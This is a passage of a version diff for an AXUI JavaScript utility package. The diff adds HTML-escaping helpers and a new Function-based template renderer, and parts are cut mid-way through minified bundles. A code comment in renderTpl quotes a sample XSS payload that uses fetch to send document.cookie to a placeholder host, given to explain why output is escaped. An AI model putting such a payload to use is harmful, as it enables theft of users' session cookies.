HTMLTemplateElement?s.content:s,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(n||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},getEls=(e,t=document.body)=>{let r=getDataType(e),a=getEl(t),s=a&&a instanceof HTMLTemplateElement?a.content:a||document,n=[];return isEmpty(e)?n:(r.includes("HTML")?n.push(e):"String"===r?n=(e=e.trim()).split(",").map(e=>[...s.querySelectorAll(e)]).flat():"Array"===r&&(n=e.map(e=>getEl(e,a))),n.filter(Boolean))},createEl=(e,t,r)=>{let a=(e=e||"div").toUpperCase().trim(),s=document.createElement(a),n=getDataType(t);if(t&&"Object"===n)for(let e in t)t.hasOwnProperty(e)&&s.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===a)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(s,r),s},getSvgUri=e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64=e=>new Promise((t,r)=>{const a=new FileReader;a.onload=()=>{"string"==typeof a.result?t(a.result):r(new Error("FileReader result is not a string"))},a.onerror=()=>{r(a.error||new Error("Unknown error occurred during file reading"))},a.readAsDataURL(e)}),NAMESPACE="ax",ALIAS="rep",COMMA=",",SPACE=" ",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.add(e):"string"==typeof t&&t&&a.classList.add(t)):a.classList.add(e)})},createTools=e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?'<i rep="arrow"></i>':"",a=(e.icon?`<i rep="icon">${e.icon}</i>`:"")+(e.disk?`<i rep="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i rep="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i rep="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i rep="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),a),e.iconEl=e.wrapEl.querySelector('[rep="icon"]'),e.cubeEl=e.wrapEl.querySelector('[rep="cube"]'),e.diskEl=e.wrapEl.querySelector('[rep="disk"]'),e.imageEl=e.wrapEl.querySelector('[rep="image"]'),e.labelEl=e.wrapEl.querySelector('[rep="label"]'),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},getClasses=e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},removeClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.remove(e):"string"==typeof t&&t&&a.classList.remove(t)):a.classList.remove(e)})},typeWriter=(e,t)=>{const r=t.speed||100;return new Promise(a=>{t?.onBeforeType?.(e);let s=0;const n=setInterval(()=>{if(s<e.length){const r=e.charAt(s),a=e.substring(0,s+1);t?.onDuringType?.(r,a),s++}else clearInterval(n),a(e),t?.onAfterType?.(e)},r)})},parseLLMStream=async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),a=new TextDecoder("utf-8");let s="";const n={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;s+=a.decode(o,{stream:!0});let l=s.split("\n");s=l.pop()||"";for(const e of l){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const a=r.substring(6);if("[DONE]"!==a)try{const e=JSON.parse(a),r=e.choices?.[0],s=r?.delta?.content||"";s&&(n.fullText+=s,t?.(s)),r?.finish_reason&&(n.finishReason=r.finish_reason),e.usage&&(n.usage=e.usage)}catch(e){}else n.isCompleted=!0}}}catch(e){throw e}return n},toKebabCase=(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines=e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",decodeHtmlEntities=e=>{if(!e)return"";const t=document.createElement("textarea");return t.innerHTML=e,t.value},utils={getDataType:getDataType,requireTypes:requireTypes,deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:wrapArrayMethods,arrayMutableMethods:arrayMutableMethods,setMutableMethods:setMutableMethods,mapMutableMethods:mapMutableMethods,wrapSetMethods:wrapSetMethods,wrapMapMethods:wrapMapMethods,getUniqueId:getUniqueId,deepMerge:deepMerge,shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:getEls,createEl:createEl,getSvgUri:getSvgUri,fileToBase64:fileToBase64,NAMESPACE:"ax",ALIAS:"rep",COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:getClasses,addClasses:addClasses,removeClasses:removeClasses,createTools:createTools,typeWriter:typeWriter,parseLLMStream:parseLLMStream,toKebabCase:toKebabCase,trimEmptyLines:trimEmptyLines,decodeHtmlEntities:decodeHtmlEntities,escapeCharsMaps:escapeCharsMaps,escapeRegexMaps:escapeRegexMaps,escapeHTML:escapeHTML,toSingleLine:toSingleLine,renderTpl:renderTpl};export{utils as default};
package/dist/utils.umd.js CHANGED
@@ -1,8 +1,8 @@
1
1
 
2
2
  /*!
3
- * @since Last modified: 2026-1-15 18:58:28
3
+ * @since Last modified: 2026-1-16 15:18:30
4
4
  * @name Utils for web front-end.
5
- * @version 0.0.36
5
+ * @version 0.0.38
6
6
  * @author AXUI development team <3217728223@qq.com>
7
7
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
8
8
  * @see {@link https://www.axui.cn|Official website}
@@ -244,6 +244,102 @@
244
244
  return methods;
245
245
  };
246
246
 
247
+ const escapeCharsMaps = {
248
+ //code或pre标签中代码高亮是使用basic
249
+ basic: {
250
+ '&': '&amp;',
251
+ '<': '&lt;',
252
+ '>': '&gt;',
253
+ },
254
+ //需要用在标签属性上attribute
255
+ attribute: {
256
+ '&': '&amp;',
257
+ '<': '&lt;',
258
+ '>': '&gt;',
259
+ '"': '&quot;',
260
+ "'": '&apos;',
261
+ '`': '&#x60;',
262
+ },
263
+ //html中的正文内容使用content
264
+ content: {
265
+ '&': '&amp;',
266
+ '<': '&lt;',
267
+ '>': '&gt;',
268
+ '"': '&quot;',
269
+ "'": '&apos;',
270
+ '/': '&#x2F;',
271
+ },
272
+ //用于url链接则使用uri
273
+ uri: {
274
+ '&': '&amp;',
275
+ '<': '&lt;',
276
+ '>': '&gt;',
277
+ '"': '&quot;',
278
+ "'": '&apos;',
279
+ '(': '&#40;',
280
+ ')': '&#41;',
281
+ '[': '&#91;',
282
+ ']': '&#93;',
283
+ },
284
+ //极致转意,避免任何注入或非法代码
285
+ paranoid: {
286
+ '&': '&amp;',
287
+ '<': '&lt;',
288
+ '>': '&gt;',
289
+ '"': '&quot;',
290
+ "'": '&apos;',
291
+ '`': '&#x60;',
292
+ '/': '&#x2F;',
293
+ '=': '&#x3D;',
294
+ '!': '&#x21;',
295
+ '#': '&#x23;',
296
+ '(': '&#40;',
297
+ ')': '&#41;',
298
+ '[': '&#91;',
299
+ ']': '&#93;',
300
+ '{': '&#x7B;',
301
+ '}': '&#x7D;',
302
+ ':': '&#x3A;',
303
+ ';': '&#x3B;',
304
+ },
305
+ };
306
+
307
+ const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
308
+ const chars = Object.keys(escapeCharsMaps[key]);
309
+ // Escape special regex characters to avoid issues in the regex. [ => \[
310
+ const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
311
+ acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
312
+ return acc;
313
+ }, {});
314
+
315
+ const escapeHTML = (str, strength = 'attribute') => {
316
+ // Return empty string if input is null, undefined, or not a string
317
+ if (typeof str !== 'string')
318
+ return '';
319
+ const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
320
+ // Use String.prototype.replace with a global regex.
321
+ // The callback function retrieves the replacement from the map using the matched character as key.
322
+ return str.replace(regex, (match) => map[match]);
323
+ };
324
+
325
+ const getUniqueId = (options = {}) => {
326
+ const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
327
+ // Current timestamp in milliseconds (since Unix epoch)
328
+ // This provides the primary uniqueness guarantee
329
+ const timestamp = Date.now(),
330
+ // Generate a base-36 random string (0-9, a-z)
331
+ // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
332
+ // substring(2, 11) extracts 9 characters starting from index 2
333
+ //0.259854635->0.9crs03e8v2
334
+ base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
335
+ // Additional 4-digit random number for extra randomness
336
+ // This helps avoid collisions in high-frequency generation scenarios
337
+ base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
338
+ // Construct the final ID string
339
+ // Format: [prefix_]timestamp_randomBase36_extraRandom
340
+ return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
341
+ };
342
+
247
343
  const requireTypes = (data, require, cb) => {
248
344
  // Normalize the input types (convert to array if it's a single type)
249
345
  let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
@@ -271,22 +367,83 @@
271
367
  return dataType;
272
368
  };
273
369
 
274
- const getUniqueId = (options = {}) => {
275
- const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
276
- // Current timestamp in milliseconds (since Unix epoch)
277
- // This provides the primary uniqueness guarantee
278
- const timestamp = Date.now(),
279
- // Generate a base-36 random string (0-9, a-z)
280
- // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
281
- // substring(2, 11) extracts 9 characters starting from index 2
282
- //0.259854635->0.9crs03e8v2
283
- base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
284
- // Additional 4-digit random number for extra randomness
285
- // This helps avoid collisions in high-frequency generation scenarios
286
- base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
287
- // Construct the final ID string
288
- // Format: [prefix_]timestamp_randomBase36_extraRandom
289
- return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
370
+ const toSingleLine = (str, collapseSpaces = false) => {
371
+ const result = str.replace(/[\r\t\n]/g, '');
372
+ return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
373
+ };
374
+
375
+ const renderTpl = (html, data, options = {}) => {
376
+ requireTypes(html, 'string', (error) => {
377
+ //不符合要求的类型
378
+ console.error(error);
379
+ return '';
380
+ });
381
+ if (!html.trim())
382
+ return '';
383
+ let dataType = requireTypes(data, ['array', 'object'], (error) => {
384
+ //不符合要求的类型
385
+ console.error(error);
386
+ return html;
387
+ });
388
+ //data={}/[]
389
+ if (Object.keys(data).length === 0) {
390
+ console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
391
+ return html;
392
+ }
393
+ let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
394
+ //regStart='\\{\\{'
395
+ regStart = opts.start.split('').map(k => '\\' + k).join(''),
396
+ //regEnd='\\}\\}'
397
+ regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
398
+ //代替escapeHTML的方法,在字符串内部的映射,确保不会重名
399
+ escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
400
+ if (isScript) {
401
+ //处理语句类(如 {{ if(x) /}} )
402
+ if (fragment.endsWith(opts.suffix)) {
403
+ code += (fragment.slice(0, -opts.suffix.length) + '\n');
404
+ }
405
+ else {
406
+ //处理表达式类(如 {{ name }} )
407
+ //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
408
+ //虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
409
+ code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
410
+ }
411
+ }
412
+ else {
413
+ //fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
414
+ //js语句不能直接文本换行,所以也需要转意换行符
415
+ //换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
416
+ code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
417
+ }
418
+ return add;
419
+ };
420
+ while (match = tplReg.exec(html)) {
421
+ add(html.slice(cursor, match.index))(match[1], true);
422
+ cursor = match.index + match[0].length;
423
+ }
424
+ add(html.slice(cursor));
425
+ code += `return str.join('');`;
426
+ //一行行化代码
427
+ //如果文本"XXX (换行)",js执行会报错,所以需要清理换行
428
+ code = toSingleLine(code);
429
+ try {
430
+ if (opts.strict || dataType === 'Array') {
431
+ //严格模式,或者是数组数据,则必须使用this
432
+ result = new Function(escapeName, code).apply(data, [escapeHTML]);
433
+ }
434
+ else {
435
+ ////非严格模式,且是对象,则可省略this
436
+ let keys = Object.keys(data), values = Object.values(data),
437
+ //keys传参,可直接以key为值,this依然可指向data
438
+ tmp = new Function(...keys, escapeName, code).bind(data);
439
+ //执行时以value赋值
440
+ result = tmp(...values, escapeHTML);
441
+ }
442
+ }
443
+ catch (err) {
444
+ console.error(`'${err.message}'`, ' in \n', code, '\n');
445
+ }
446
+ return result;
290
447
  };
291
448
 
292
449
  const setMutableMethods = ['add', 'delete', 'clear'];
@@ -1177,19 +1334,6 @@
1177
1334
  return str.replace(/^\s*\n|\n\s*$/g, '') || '';
1178
1335
  };
1179
1336
 
1180
- const escapeHtmlChars = (text) => {
1181
- // Check if the input text is empty or undefined
1182
- if (!text)
1183
- return '';
1184
- // Replace the special characters with their corresponding HTML entities
1185
- return text
1186
- .replace(/&/g, '&amp;') // Replace '&' with '&amp;'
1187
- .replace(/</g, '&lt;') // Replace '<' with '&lt;'
1188
- .replace(/>/g, '&gt;') // Replace '>' with '&gt;'
1189
- .replace(/"/g, '&quot;') // Replace '"' with '&quot;'
1190
- .replace(/'/g, '&#39;'); // Replace "'" with '&#39;'
1191
- };
1192
-
1193
1337
  const decodeHtmlEntities = (text) => {
1194
1338
  // Check if the input text is empty or undefined
1195
1339
  if (!text)
@@ -1237,8 +1381,12 @@
1237
1381
  parseLLMStream,
1238
1382
  toKebabCase,
1239
1383
  trimEmptyLines,
1240
- escapeHtmlChars,
1241
1384
  decodeHtmlEntities,
1385
+ escapeCharsMaps,
1386
+ escapeRegexMaps,
1387
+ escapeHTML,
1388
+ toSingleLine,
1389
+ renderTpl,
1242
1390
  };
1243
1391
 
1244
1392
  return utils;
@@ -1,7 +1,7 @@
1
1
  /*!
2
- * @since Last modified: 2026-1-15 18:58:28
2
+ * @since Last modified: 2026-1-16 15:18:30
3
3
  * @name Utils for web front-end.
4
- * @version 0.0.36
4
+ * @version 0.0.38
5
5
  * @author AXUI development team <3217728223@qq.com>
6
6
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
7
7
  * @see {@link https://www.axui.cn|Official website}
@@ -12,4 +12,4 @@
12
12
  * @copyright This software supports the MIT License, allowing free learning and commercial use, but please retain the terms 'ax,' 'axui,' 'AX,' and 'AXUI' within the software.
13
13
  * @license MIT license
14
14
  */
15
- !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).utils=t()}(this,function(){"use strict";const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),n=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(n.interceptor&&"function"==typeof n.interceptor){let t=n.interceptor({input:e,type:r,parent:n.parent});if(t)return t}n.onBeforeClone?.({input:e,type:r,parent:n.parent});let a,s=!0;if("Object"===r&&n.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],n);if(r.length>0)for(const a of r)t[a]=deepClone(e[a],{...n,parent:e});a=t}else if("Array"===r&&n.cloneArray)a=e.map(t=>deepClone(t,{...n,parent:e}));else if("Map"===r&&n.cloneMap){const t=new Map;for(const[r,a]of e)t.set(deepClone(r,n),deepClone(a,{...n,parent:e}));a=t}else if("Set"===r&&n.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...n,parent:e}));a=t}else if("Date"===r&&n.cloneDate)a=new Date(e.getTime());else if("RegExp"===r&&n.cloneRegex){const t=e;a=new RegExp(t.source,t.flags)}else a=e,s=!1;return n.onAfterClone?.({output:a,input:e,type:r,cloned:s,parent:n.parent}),a},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},e=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],t=["add","delete","clear"],r=["set","delete","clear"],copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},getEl=(e,t=document.body)=>{let r=getDataType(e),n=getDataType(t),a=n.includes("HTML")||"ShadowRoot"===n?t:document.querySelector(t),s=a&&a instanceof HTMLTemplateElement?a.content:a,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(s||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},createEl=(e,t,r)=>{let n=(e=e||"div").toUpperCase().trim(),a=document.createElement(n),s=getDataType(t);if(t&&"Object"===s)for(let e in t)t.hasOwnProperty(e)&&a.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===n)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(a,r),a},n="rep",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const n=getEl(e),a=parseClasses(t);n&&0!==a.length&&a.forEach(e=>{let t;r?(t=r(e),!0===t?n.classList.add(e):"string"==typeof t&&t&&n.classList.add(t)):n.classList.add(e)})};return{getDataType:getDataType,requireTypes:(e,t,r)=>{let n=Array.isArray(t)?t:[t],a=getDataType(e),s=a.toLowerCase(),o=n.map(e=>e.toLowerCase()),l=s.includes("html")?"element":s;if(r)try{if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`)}catch(e){r(e,a)}else if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`);return a},deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:({target:t,onBeforeMutate:r=()=>{},onAfterMutate:n=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(t))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=e);const o={};for(let e of a)o[e]=function(...a){const o={},l=t.length;switch(e){case"push":case"unshift":o.addedItems=[...a];break;case"pop":o.poppedItem=t[l-1];break;case"shift":o.shiftedItem=t[0];break;case"splice":const[e,r]=a,n=e<0?Math.max(l+e,0):Math.min(e,l),s=void 0===r?l-n:r;o.deletedItems=t.slice(n,n+s);break;case"sort":case"reverse":o.oldSnapshot=[...t];break;case"fill":case"copyWithin":const i=a[1]||0,c=void 0===a[2]?l:a[2];o.oldItems=t.slice(i,c),o.start=i,o.end=c}r?.(o);const i=Array.prototype[e].apply(t,a),c={value:i,key:e,args:a,context:o,target:t,...s};return n?.(c),i};return o},arrayMutableMethods:e,setMutableMethods:t,mapMutableMethods:r,wrapSetMethods:({target:e,onBeforeMutate:r=()=>{},onAfterMutate:n=()=>{},allowList:a=t,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const o={},createWrappedMethod=t=>function(...a){const o={};switch(t){case"add":{const[t]=a;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=a;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}r(o);const l=e[t].apply(e,a),i={method:t,result:l,args:a,context:o,target:e,...s};return n(i),l};for(const e of a)t.includes(e)&&(o[e]=createWrappedMethod(e));return Object.defineProperty(o,"target",{get:()=>e,enumerable:!1,configurable:!1}),o},wrapMapMethods:({target:e,onBeforeMutate:t=()=>{},onAfterMutate:n=()=>{},allowList:a=r,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const o={},createWrappedMethod=r=>function(...a){const o={};switch(r){case"set":{const[t,r]=a;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=a;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const l=e[r].apply(e,a),i={method:r,result:l,args:a,context:o,target:e,...s};return n(i),l};for(const e of a)r.includes(e)&&(o[e]=createWrappedMethod(e));return Object.defineProperty(o,"target",{get:()=>e,enumerable:!1,configurable:!1}),o},getUniqueId:(e={})=>{const t=e.prefix,r=e.suffix,n=e.base10,a=e.base36;return`${t?t+"-":""}${Date.now()}${a?"-"+Math.random().toString(36).substring(2,11):""}${n?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},deepMerge:(e,t,r={})=>{const n=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,n)=>{let a,s,o=getDataType(e),l=getDataType(t),i=!0;if(n.interceptor&&"function"==typeof n.interceptor){let r=n.interceptor({target:e,source:t,targetType:o,sourceType:l,parent:n.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return n?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:l,parent:n.parent}),"Object"===o&&"Object"===l?(s=deepMergeObjects(e,t,n),a="Object"):"Array"===o&&"Array"===l?(s=deepMergeArrays(e,t,n),a="Array"):"Set"===o&&"Set"===l?(s=deepMergeSets(e,t,n),a="Set"):"Map"===o&&"Map"===l?(s=deepMergeMaps(e,t,n),a="Map"):(i=!1,s=e),n?.onAfterMerge?.({result:s,target:e,source:t,targetType:o,sourceType:l,mergeType:a,parent:r.parent}),{result:s,flag:i,mergeType:a}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let n=getDataType(e),a=getDataType(t);if("Object"!==n||"Object"!==a)return e;const s=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=s.targetClone?shallowCopy(e):e;for(let e in t){const n=o[e],a=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(n,a,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=a;else{let t=s.useEnable?mergeEnableObject(n,a):a;n!==t&&null===t?"ignore"===s.nullBehavior||("delete"===s.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):n!==t&&void 0===t?"ignore"===s.undefinedBehavior||("delete"===s.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=a):o[e]=a}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&s.inheritMissing&&(o[e]=a)}if(s.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const n=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),a=n.targetClone?[...e]:e;if("replace"===n.dataMode)for(let e=0;e<t.length&&(n.inheritMissing||!(e>=a.length));e++){smartMerger(a[e],t[e],{...n,parent:a}).flag||(a[e]=t[e])}else"concat"===n.dataMode||(a.length=0),a.push(...t);return a},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),a=n.targetClone?new Map([...e]):e;for(const[e,s]of t.entries())if(a.has(e)){const t=a.get(e),r=s,o=smartMerger(t,r,n);o.flag?"Object"===o.mergeType&&a.set(e,o.result):a.set(e,r)}else r.inheritMissing&&a.set(e,s);return a},deepMergeSets=(e,t,r={})=>{if(!(e 